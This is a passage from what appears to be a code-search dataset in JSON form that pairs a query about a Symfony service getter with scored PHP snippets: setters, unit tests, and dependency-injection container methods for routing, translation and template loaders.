"public function setNbsujet($nbsujet)\n {\n $this->nbsujet = $nbsujet;\n\n return $this;\n }", "title": "" }, { "docid": "c589129d9692d6a7935779c443fd5c3f", "score": "0.43188867", "text": "public function testSetMontant3() {\n\n $obj = new LignesBulletin();\n\n $obj->setMontant3(10.092018);\n $this->assertEquals(10.092018, $obj->getMontant3());\n }", "title": "" }, { "docid": "d75cf1a9f539610e197c9a2d594553f7", "score": "0.43103898", "text": "protected function _blockfn_Block3(&$data, $self, $__i__) \n{ \n \n $__p__ = '';\n \n $__p__ .= 'Base template Block3';\n return $__p__;\n \n}", "title": "" }, { "docid": "8d835043e3eb3d4049916e610f9520e6", "score": "0.4298182", "text": "public function setNbHaReintegrer(?float $nbHaReintegrer): HeuresAbsence {\n $this->nbHaReintegrer = $nbHaReintegrer;\n return $this;\n }", "title": "" }, { "docid": "9489dafec308ea4ef9367f04b8c3aebb", "score": "0.42974055", "text": "public function setNumber( $number ) {\n\t\t$this->number = $number;\n\t}", "title": "" }, { "docid": "164a9383cb430ff9fd79c501180819ed", "score": "0.42941386", "text": "public function setCoeficienteBloque($num) {\n $this->coeficientebloq = $num;\n }", "title": "" }, { "docid": "a72023a4970e1e1e1f2f9e461b819369", "score": "0.42933363", "text": "public function setNiveau($niveau)\n\t{\n\t\t$this->_niveau = $niveau;\n\t}", "title": "" }, { "docid": "0973767a35aa9dca70819acd20f33572", "score": "0.4287184", "text": "public function set_size($h) {\n $this->dimension['size'] = $h;\n }", "title": "" }, { "docid": "630561ccb4966cdd814910c83ed6b27b", "score": "0.4285196", "text": "public function setNumLettrage(?int $numLettrage): Ecritures {\n $this->numLettrage = $numLettrage;\n return $this;\n }", "title": "" }, { "docid": "8f68d48535575f2d92545ae52a0eda91", "score": "0.428037", "text": "public function setChemin($nouvelleValeur) {\n\n\t/*\n\t * Entre ces deux balises vous pourrez mettre votre code specifique a la classe.\n\t * Il sera preserve lors de la reconstruction automatique.\n\t */\n\t/*[TAG-setChemin1]*/\t/*[/TAG-setChemin1]*/\n\n\t\t$this->_chemin = $nouvelleValeur;\n\n\t/*\n\t * Entre ces deux balises vous pourrez mettre votre code specifique a la classe.\n\t * Il sera preserve lors de la reconstruction automatique.\n\t */\n\t/*[TAG-setChemin2]*/\t/*[/TAG-setChemin2]*/\n\n\t}", "title": "" }, { "docid": "9c7f87d464420f1a3d0c173e4f5f683e", "score": "0.4271639", "text": "public function setNbf(?int $value): void {\n $this->getBackingStore()->set('nbf', $value);\n }", "title": "" }, { "docid": "615ca9bad02594487c01f6d4d39fa603", "score": "0.42665565", "text": "function setNrOfUnmeasuredOuterRings($value)\n\t{\n\t\t$this->nrOfUnmeasuredOuterRings = $value;\n\t}", "title": "" }, { "docid": "aea06e68b376bdf589c73598f94a09df", "score": "0.42658645", "text": "public function SetValor($num){\r\n\t\t\t$this->num=$num;\r\n\t\t\t$this->res=1;\r\n\t\t\t$this->imp=$num;\r\n\t\t}", "title": "" }, { "docid": "d621bd51efd6f6a369afa9f03c57342e", "score": "0.42651862", "text": "function setHeight($height) {\n \t $this->height = $height;\n }", "title": "" }, { "docid": "47662f4d3396ae3d87833724e1092ff1", "score": "0.42650914", "text": "public function __construct()\n {\n\n $this->first=50;\n $this->secound=60;\n $this->third=70;\n $this->fourth=80;\n $this->fiveth=90;\n\n }", "title": "" }, { "docid": "e4c7d6fa0d046e833255a933dd085cfd", "score": "0.42645216", "text": "public function setNumber($number) {\r\n $this->number = $number;\r\n }", "title": "" }, { "docid": "94b86d4eab8d8ca80ea920b88e03649f", "score": "0.42635012", "text": "public function getThreeStars(): int\n {\n return $this->threeStars;\n }", "title": "" }, { "docid": "d2ab4adbf6e73693ec504bbadeafa265", "score": "0.42522535", "text": "public function testSetCoeffTr3() {\n\n $obj = new Tarifs();\n\n $obj->setCoeffTr3(10.092018);\n $this->assertEquals(10.092018, $obj->getCoeffTr3());\n }", "title": "" }, { "docid": "6655c5db99af4ec2b313dcf6301db59c", "score": "0.42499194", "text": "public function __construct($number)\n\t {\n $this->vn = $number;\n\t\t//\n\t}", "title": "" }, { "docid": "3faf2b898ae1b55f13ed1fb01d63c4b9", "score": "0.4248252", "text": "public function clearTbalunosRelatedById3grau()\n\t{\n\t\t$this->collTbalunosRelatedById3grau = null; // important to set this to NULL since that means it is uninitialized\n\t}", "title": "" }, { "docid": "0e50b187e10a3fa708b67a9b2cc90292", "score": "0.42454615", "text": "public function setMulti($number){\n $number = (int) $number;\n for ($i=0; $i<$number; $i++){\n $this->add(array(\n 'name' => 'multi_name_' . $i, //db.mulriabo->user\n 'type' => 'text',\n 'options' => array(\n 'label' => 'verlinktes Mitglied'\n )\n ));\n $this->add(array(\n 'name' => 'multi_abo_' . $i, //db.multiabo->abonnementTypes\n 'type' => 'text',\n 'options' => array(\n 'label' => 'verlinktes Abo'\n )\n ));\n }\n\n $this->add(array(\n 'name' => 'monthlyTotal',\n 'type' => 'text',\n 'options' => array(\n 'label' => 'monatliche Kosten zusammen'\n )\n ));\n }", "title": "" }, { "docid": "bc2c967e3fc31e72a2a54d2dfa78cd72", "score": "0.42447641", "text": "public function tableau1b3() {\n\t\t\t$search = $this->_filters( $this->request->data );\n\t\t\t$this->_setOptions();\n\t\t\t$this->_prepareFormData( $search );\n\n\t\t\tif( !empty( $search ) ) {\n\t\t\t\t$this->set( 'results', $this->Tableausuivipdv93->WebrsaTableausuivipdv93->tableau1b3( $search ) );\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "fab7de88c0145918a3d9854dc4af6264", "score": "0.42406762", "text": "public function __construct($_f3)\r\n {\r\n $this->_f3 = $_f3; //$this->instance variable = parameter\r\n }", "title": "" }, { "docid": "77cae0999efe7ed14662bb48908656ed", "score": "0.42359525", "text": "public function setheight($height) {\n\t\t$this->rows = intval($height);\n\t}", "title": "" } ]
a1563ccf5f2ede8107ad4c98b80eff23
Gets the private 'fos_rest.routing.loader.yaml_collection' shared service.
[ { "docid": "af3d4db8ab9c62da225e0c589e09ebdc", "score": "0.81616443", "text": "protected function getFosRest_Routing_Loader_YamlCollectionService()\n {\n @trigger_error('The fos_rest.routing.loader.yaml_collection service is deprecated since FOSRestBundle 2.8. You can disable it by setting the config `fos_rest.routing_loader.enabled` to `false`.', E_USER_DEPRECATED);\n\n return new \\FOS\\RestBundle\\Routing\\Loader\\RestYamlCollectionLoader(($this->privates['file_locator'] ?? $this->getFileLocatorService()), ($this->privates['fos_rest.routing.loader.processor'] ?? $this->getFosRest_Routing_Loader_ProcessorService()), true, ['json' => false, 'xml' => false, 'html' => true], NULL);\n }", "title": "" } ]
[ { "docid": "bc6ce3a26bd3a704fb71274999c781e1", "score": "0.714708", "text": "protected function getFosRest_Routing_Loader_XmlCollectionService()\n {\n @trigger_error('The fos_rest.routing.loader.xml_collection service is deprecated since FOSRestBundle 2.8. You can disable it by setting the config `fos_rest.routing_loader.enabled` to `false`.', E_USER_DEPRECATED);\n\n return new \\FOS\\RestBundle\\Routing\\Loader\\RestXmlCollectionLoader(($this->privates['file_locator'] ?? $this->getFileLocatorService()), ($this->privates['fos_rest.routing.loader.processor'] ?? $this->getFosRest_Routing_Loader_ProcessorService()), true, ['json' => false, 'xml' => false, 'html' => true], NULL);\n }", "title": "" }, { "docid": "46b9b3f96d77694b6ada8f10c56df34e", "score": "0.6740851", "text": "private function getRoutesCollection() : RouteCollection\n {\n $fileLocator = new FileLocator([__DIR__.'/Config/']);\n $loader = new YamlFileLoader($fileLocator);\n return $loader->load('routes.yaml');\n }", "title": "" }, { "docid": "96592896c5e5e67382a42326569f73eb", "score": "0.6608069", "text": "protected function getTranslation_Loader_YmlService()\n {\n return $this->privates['translation.loader.yml'] = new \\Symfony\\Component\\Translation\\Loader\\YamlFileLoader();\n }", "title": "" }, { "docid": "9a8b6c51c53552d2fc8fae3c788c4313", "score": "0.650276", "text": "protected function getTranslation_Loader_YmlService()\n {\n return $this->services['translation.loader.yml'] = new \\Symfony\\Component\\Translation\\Loader\\YamlFileLoader();\n }", "title": "" }, { "docid": "9a8b6c51c53552d2fc8fae3c788c4313", "score": "0.650276", "text": "protected function getTranslation_Loader_YmlService()\n {\n return $this->services['translation.loader.yml'] = new \\Symfony\\Component\\Translation\\Loader\\YamlFileLoader();\n }", "title": "" }, { "docid": "9a8b6c51c53552d2fc8fae3c788c4313", "score": "0.650276", "text": "protected function getTranslation_Loader_YmlService()\n {\n return $this->services['translation.loader.yml'] = new \\Symfony\\Component\\Translation\\Loader\\YamlFileLoader();\n }", "title": "" }, { "docid": "04256fb0e41c71818c7b9895deab2ce0", "score": "0.6497045", "text": "protected function getTranslation_Loader_YmlService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/YamlFileLoader.php';\n\n return $this->privates['translation.loader.yml'] = new \\Symfony\\Component\\Translation\\Loader\\YamlFileLoader();\n }", "title": "" }, { "docid": "ab9b4f4769382afab40dd2afa26add0e", "score": "0.6379707", "text": "protected function getRouting_LoaderService()\n {\n $a = $this->get('file_locator');\n\n $b = new \\Symfony\\Component\\Config\\Loader\\LoaderResolver();\n $b->addLoader(new \\Symfony\\Component\\Routing\\Loader\\XmlFileLoader($a));\n $b->addLoader(new \\Symfony\\Component\\Routing\\Loader\\YamlFileLoader($a));\n $b->addLoader(new \\Symfony\\Component\\Routing\\Loader\\PhpFileLoader($a));\n\n return $this->services['routing.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader($this->get('controller_name_converter'), NULL, $b);\n }", "title": "" }, { "docid": "1d2be472db22d476f31a12aa9fe973a4", "score": "0.62397194", "text": "protected function getRouting_LoaderService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/Loader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/DelegatingLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/framework-bundle/Routing/DelegatingLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/LoaderResolverInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/LoaderResolver.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/config/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/XmlFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/YamlFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/PhpFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/GlobFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/DirectoryLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/ObjectLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/ContainerLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/framework-bundle/Routing/LegacyRouteLoaderContainer.php';\n include_once \\dirname(__DIR__, 4).'/vendor/api-platform/core/src/Bridge/Symfony/Routing/ApiLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/AnnotationClassLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/framework-bundle/Routing/AnnotatedRouteControllerLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/AnnotationFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/routing/Loader/AnnotationDirectoryLoader.php';\n\n $a = new \\Symfony\\Component\\Config\\Loader\\LoaderResolver();\n\n $b = ($this->privates['file_locator'] ?? $this->getFileLocatorService());\n $c = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\AnnotatedRouteControllerLoader(($this->privates['annotations.cached_reader'] ?? $this->getAnnotations_CachedReaderService()));\n\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\XmlFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\YamlFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\PhpFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\GlobFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\DirectoryLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\ContainerLoader(new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\LegacyRouteLoaderContainer($this, new \\Symfony\\Component\\DependencyInjection\\Argument\\ServiceLocator($this->getService, [\n 'kernel' => ['services', 'kernel', 'getKernelService', false],\n ], [\n 'kernel' => 'App\\\\Kernel',\n ]))));\n $a->addLoader($this->getFosRest_Routing_Loader_DirectoryService());\n $a->addLoader($this->getFosRest_Routing_Loader_ControllerService());\n $a->addLoader($this->getFosRest_Routing_Loader_YamlCollectionService());\n $a->addLoader($this->getFosRest_Routing_Loader_XmlCollectionService());\n $a->addLoader(new \\ApiPlatform\\Core\\Bridge\\Symfony\\Routing\\ApiLoader(($this->services['kernel'] ?? $this->get('kernel', 1)), ($this->privates['api_platform.metadata.resource.name_collection_factory.cached'] ?? $this->getApiPlatform_Metadata_Resource_NameCollectionFactory_CachedService()), ($this->privates['api_platform.metadata.resource.metadata_factory.cached'] ?? $this->getApiPlatform_Metadata_Resource_MetadataFactory_CachedService()), ($this->privates['api_platform.operation_path_resolver.custom'] ?? $this->getApiPlatform_OperationPathResolver_CustomService()), $this, $this->parameters['api_platform.formats'], $this->parameters['api_platform.resource_class_directories'], ($this->privates['api_platform.subresource_operation_factory.cached'] ?? $this->getApiPlatform_SubresourceOperationFactory_CachedService()), false, true, true, false, false, ($this->privates['api_platform.identifiers_extractor.cached'] ?? $this->getApiPlatform_IdentifiersExtractor_CachedService())));\n $a->addLoader($c);\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\AnnotationDirectoryLoader($b, $c));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\AnnotationFileLoader($b, $c));\n\n return $this->services['routing.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader($a, [], ['utf8' => true]);\n }", "title": "" }, { "docid": "72b6e77fc527a1d299d7864e6492beac", "score": "0.61928385", "text": "protected function getRouting_LoaderService()\n {\n $a = new \\Symfony\\Component\\Config\\Loader\\LoaderResolver();\n\n $b = new \\Symfony\\Component\\HttpKernel\\Config\\FileLocator(($this->services['kernel'] ?? $this->get('kernel', 1)));\n\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\XmlFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\YamlFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\PhpFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\GlobFileLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\DirectoryLoader($b));\n $a->addLoader(new \\Symfony\\Component\\Routing\\Loader\\ContainerLoader(new \\Symfony\\Component\\DependencyInjection\\Argument\\ServiceLocator($this->getService, [\n 'kernel' => ['services', 'kernel', 'getKernelService', false],\n ], [\n 'kernel' => 'Shrikeh\\\\SymfonyKernel\\\\DefaultKernel',\n ])));\n\n return $this->services['routing.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader($a, []);\n }", "title": "" }, { "docid": "f2e95dd3f60865460482d8345414dce4", "score": "0.61849207", "text": "protected function getRouting_LoaderService()\n {\n $a = $this->get('file_locator');\n $b = $this->get('annotation_reader');\n\n $c = new \\Sensio\\Bundle\\FrameworkExtraBundle\\Routing\\AnnotatedRouteControllerLoader($b);\n\n $d = new \\Symfony\\Component\\Config\\Loader\\LoaderResolver();\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\XmlFileLoader($a));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\YamlFileLoader($a));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\PhpFileLoader($a));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\DirectoryLoader($a));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\DependencyInjection\\ServiceRouterLoader($this));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\AnnotationDirectoryLoader($a, $c));\n $d->addLoader(new \\Symfony\\Component\\Routing\\Loader\\AnnotationFileLoader($a, $c));\n $d->addLoader($c);\n\n return $this->services['routing.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader($this->get('controller_name_converter'), $d);\n }", "title": "" }, { "docid": "5b0f1c276204a8f2fd653d5997028f93", "score": "0.6053005", "text": "protected function getTemplating_LoaderService()\n {\n return $this->services['templating.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\FilesystemLoader($this->get('templating.locator'));\n }", "title": "" }, { "docid": "5b0f1c276204a8f2fd653d5997028f93", "score": "0.6053005", "text": "protected function getTemplating_LoaderService()\n {\n return $this->services['templating.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\FilesystemLoader($this->get('templating.locator'));\n }", "title": "" }, { "docid": "5f13a9d7cfe1113898c3385ec44945c4", "score": "0.57592475", "text": "protected function getTranslation_Loader_PhpService()\n {\n return $this->privates['translation.loader.php'] = new \\Symfony\\Component\\Translation\\Loader\\PhpFileLoader();\n }", "title": "" }, { "docid": "fb5206b2b8b1dd0074eb1fa5ed18988d", "score": "0.5757416", "text": "protected function getLoaderService()\n {\n }", "title": "" }, { "docid": "4296f40078a67bcd85e108a66dcbff48", "score": "0.5753232", "text": "public function getRouteCollection()\n {\n return $this->getInstance(RouteCollection::class);\n }", "title": "" }, { "docid": "9bd5a90e65e8b9ce481d4712b150e922", "score": "0.57510924", "text": "protected function getTranslation_Dumper_YmlService()\n {\n return $this->services['translation.dumper.yml'] = new \\Symfony\\Component\\Translation\\Dumper\\YamlFileDumper();\n }", "title": "" }, { "docid": "239c07e521cdd2a5e1456c1eb0ecb424", "score": "0.57420343", "text": "protected function getTemplating_LoaderService()\n {\n @trigger_error('The \"templating.loader\" service is deprecated since Symfony 4.3 and will be removed in 5.0.', E_USER_DEPRECATED);\n\n return $this->services['templating.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\FilesystemLoader(($this->privates['templating.locator'] ?? $this->getTemplating_LocatorService()));\n }", "title": "" }, { "docid": "3f7e6b34ec2f89cc1c1a4010869ffc47", "score": "0.5736906", "text": "private function loadSymfonyRouteFiles()\n {\n if ($this->collection) {\n return;\n }\n $locator = new FileLocator(array($this->fileLocation));\n $loader = new YamlFileLoader($locator);\n $this->collection = $loader->load($this->fileName ? : 'routes.yml');\n }", "title": "" }, { "docid": "bb7ce64ea6f433c3fc6fa90cb9e9738d", "score": "0.57319206", "text": "protected function getTemplating_LoaderService()\n {\n return $this->services['templating.loader'] = new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\FilesystemLoader(new \\Symfony\\Bundle\\FrameworkBundle\\Templating\\Loader\\TemplateLocator($this->get('kernel'), '/var/www/symfony-2.0/app'));\n }", "title": "" }, { "docid": "53515d57079b98620f33cd195c4ab2f3", "score": "0.5717997", "text": "protected function getTranslation_Loader_ResService()\n {\n return $this->privates['translation.loader.res'] = new \\Symfony\\Component\\Translation\\Loader\\IcuResFileLoader();\n }", "title": "" }, { "docid": "21ec067ea68779b1de11432f9ca931b5", "score": "0.5712308", "text": "protected function getTranslation_Loader_PhpService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/PhpFileLoader.php';\n\n return $this->privates['translation.loader.php'] = new \\Symfony\\Component\\Translation\\Loader\\PhpFileLoader();\n }", "title": "" }, { "docid": "57596f5626eae2cbfd4be8a625e5e800", "score": "0.5710317", "text": "public static function getCollection() {\n\t\tif(!self::$collection) {\n\t\t\tif(file_exists(self::$collectionFile) && is_readable(self::$collectionFile)) {\n\t\t\t\tself::$collection = include(self::$collectionFile);\n\t\t\t}\n\t\t}\n\t\treturn self::$collection;\n\t}", "title": "" }, { "docid": "bb34e716c65a4c1d32db85c7b8f96f6b", "score": "0.56781507", "text": "protected function getTranslation_Loader_ResService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/IcuResFileLoader.php';\n\n return $this->privates['translation.loader.res'] = new \\Symfony\\Component\\Translation\\Loader\\IcuResFileLoader();\n }", "title": "" }, { "docid": "d528ebcfffdf1f42533623579ce00de2", "score": "0.5677697", "text": "protected function getFosRest_Routing_Loader_DirectoryService()\n {\n @trigger_error('The fos_rest.routing.loader.directory service is deprecated since FOSRestBundle 2.8. You can disable it by setting the config `fos_rest.routing_loader.enabled` to `false`.', E_USER_DEPRECATED);\n\n return new \\FOS\\RestBundle\\Routing\\Loader\\DirectoryRouteLoader(($this->privates['file_locator'] ?? $this->getFileLocatorService()), ($this->privates['fos_rest.routing.loader.processor'] ?? $this->getFosRest_Routing_Loader_ProcessorService()));\n }", "title": "" }, { "docid": "96be4d6130edb2f04f3f653b28001c92", "score": "0.56703943", "text": "protected function getTranslation_Loader_JsonService()\n {\n return $this->privates['translation.loader.json'] = new \\Symfony\\Component\\Translation\\Loader\\JsonFileLoader();\n }", "title": "" }, { "docid": "e819b299515f975a990734128cc65a13", "score": "0.56648356", "text": "protected function getTranslation_Loader_JsonService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/JsonFileLoader.php';\n\n return $this->privates['translation.loader.json'] = new \\Symfony\\Component\\Translation\\Loader\\JsonFileLoader();\n }", "title": "" }, { "docid": "27dcecea8bca6c4be409725497717b73", "score": "0.5633235", "text": "protected function getTranslation_Loader_PhpService()\n {\n return $this->services['translation.loader.php'] = new \\Symfony\\Component\\Translation\\Loader\\PhpFileLoader();\n }", "title": "" }, { "docid": "27dcecea8bca6c4be409725497717b73", "score": "0.5633235", "text": "protected function getTranslation_Loader_PhpService()\n {\n return $this->services['translation.loader.php'] = new \\Symfony\\Component\\Translation\\Loader\\PhpFileLoader();\n }", "title": "" }, { "docid": "27dcecea8bca6c4be409725497717b73", "score": "0.5633235", "text": "protected function getTranslation_Loader_PhpService()\n {\n return $this->services['translation.loader.php'] = new \\Symfony\\Component\\Translation\\Loader\\PhpFileLoader();\n }", "title": "" }, { "docid": "63cf2211bd55419fa60a9bbb3adf39f8", "score": "0.5626048", "text": "protected function getTranslation_Loader_PoService()\n {\n return $this->privates['translation.loader.po'] = new \\Symfony\\Component\\Translation\\Loader\\PoFileLoader();\n }", "title": "" }, { "docid": "71a9c32af20b1de75d5ae9d75eb666ba", "score": "0.56009567", "text": "protected function getTranslation_Loader_PoService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/PoFileLoader.php';\n\n return $this->privates['translation.loader.po'] = new \\Symfony\\Component\\Translation\\Loader\\PoFileLoader();\n }", "title": "" }, { "docid": "8bed1197837a618f9a93fc37a534cfc4", "score": "0.5584333", "text": "protected function getTranslation_Loader_JsonService()\n {\n return $this->services['translation.loader.json'] = new \\Symfony\\Component\\Translation\\Loader\\JsonFileLoader();\n }", "title": "" }, { "docid": "8d1a3b4fbc87e6ba81d32519cd74ff5e", "score": "0.557863", "text": "protected function getTranslation_Loader_ResService()\n {\n return $this->services['translation.loader.res'] = new \\Symfony\\Component\\Translation\\Loader\\IcuResFileLoader();\n }", "title": "" }, { "docid": "66c0eaf383a2f5fc35d0ef5ffe7c207e", "score": "0.5567978", "text": "public function getRoutes()\n {\n return $this->loadYamlRoutes(__DIR__ . '/resources/config/routes.yml');\n }", "title": "" }, { "docid": "15545d4528a0b467195cd73407e7d75d", "score": "0.55626523", "text": "protected function getRouting_Loader_RealService()\n {\n $a = $this->get('kernel');\n\n $b = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\FileLocator($a);\n\n $c = new \\Symfony\\Component\\Routing\\Loader\\LoaderResolver();\n $c->addLoader(new \\Symfony\\Component\\Routing\\Loader\\XmlFileLoader($b));\n $c->addLoader(new \\Symfony\\Component\\Routing\\Loader\\YamlFileLoader($b));\n $c->addLoader(new \\Symfony\\Component\\Routing\\Loader\\PhpFileLoader($b));\n\n return $this->services['routing.loader.real'] = new \\Symfony\\Bundle\\FrameworkBundle\\Routing\\DelegatingLoader($this->get('controller_name_converter'), NULL, $c);\n }", "title": "" }, { "docid": "01e8f252cc54ad1c483f22f14106ff94", "score": "0.5545116", "text": "private function sectionStorageManager() {\n return \\Drupal::service('plugin.manager.layout_builder.section_storage');\n }", "title": "" }, { "docid": "e2262962adb9c145f5b1d2d98190a225", "score": "0.5504123", "text": "protected function getTranslation_Loader_CsvService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/ArrayLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/FileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/CsvFileLoader.php';\n\n return $this->privates['translation.loader.csv'] = new \\Symfony\\Component\\Translation\\Loader\\CsvFileLoader();\n }", "title": "" }, { "docid": "717c2af05d69dd43b905df4743e57906", "score": "0.5464085", "text": "public static function loadRouting()\n\t{\n\t\treturn Yaml::parse(file_get_contents(WINDWALKER_ETC . '/routing.yml'));\n\t}", "title": "" }, { "docid": "d5b58730991937cfc65b59ae35b1f02a", "score": "0.54572797", "text": "public function api_getConfig()\r\n\t{\r\n\t\t$data = array();\r\n\t\t$dataCollection = new ArrayCollection($data);\t\t\r\n\t\treturn $dataCollection;\t\t\r\n\t}", "title": "" }, { "docid": "4d65f2c76fc3b7102db24a9c906db109", "score": "0.5433862", "text": "protected function getTwig_LoaderService()\n {\n $this->services['twig.loader'] = $instance = new \\Symfony\\Bundle\\TwigBundle\\Loader\\FilesystemLoader($this->get('templating.locator'), $this->get('templating.name_parser'));\n\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/FrameworkBundle/Resources/views'), 'Framework');\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/SecurityBundle/Resources/views'), 'Security');\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/TwigBundle/Resources/views'), 'Twig');\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/swiftmailer-bundle/Resources/views'), 'Swiftmailer');\n $instance->addPath(($this->targetDirs[3].'/vendor/doctrine/doctrine-bundle/Resources/views'), 'Doctrine');\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/DebugBundle/Resources/views'), 'Debug');\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bundle/WebProfilerBundle/Resources/views'), 'WebProfiler');\n $instance->addPath(($this->targetDirs[3].'/app/Resources/views'));\n $instance->addPath(($this->targetDirs[3].'/vendor/symfony/symfony/src/Symfony/Bridge/Twig/Resources/views/Form'));\n\n return $instance;\n }", "title": "" }, { "docid": "57c9d6cb873974c1028fafbe01a54b78", "score": "0.5429916", "text": "public function getRouteCollections()\n {\n return $this->routecollections;\n }", "title": "" }, { "docid": "68ae6e10f81f36cc07a0949a4230cfb4", "score": "0.5429851", "text": "protected function getTranslation_Loader_PoService()\n {\n return $this->services['translation.loader.po'] = new \\Symfony\\Component\\Translation\\Loader\\PoFileLoader();\n }", "title": "" }, { "docid": "88bbd1355693a496b7ee64e2265b3e5e", "score": "0.5429506", "text": "protected function loadRolesAccessConfig()\n {\n $yaml = new Parser();\n return $yaml->parse(file_get_contents($this->getContainer()->get('Kernel')->getRootdir().'/config/roles_access_config.yml'));\n }", "title": "" }, { "docid": "fab1d521e9fbc9821bd68391ab397525", "score": "0.5384595", "text": "protected function getTranslation_Loader_DatService()\n {\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/LoaderInterface.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/IcuResFileLoader.php';\n include_once \\dirname(__DIR__, 4).'/vendor/symfony/translation/Loader/IcuDatFileLoader.php';\n\n return $this->privates['translation.loader.dat'] = new \\Symfony\\Component\\Translation\\Loader\\IcuDatFileLoader();\n }", "title": "" }, { "docid": "683c5ec7468b849ebc935c455870ee16", "score": "0.53734547", "text": "protected function getTranslation_Loader_CsvService()\n {\n return 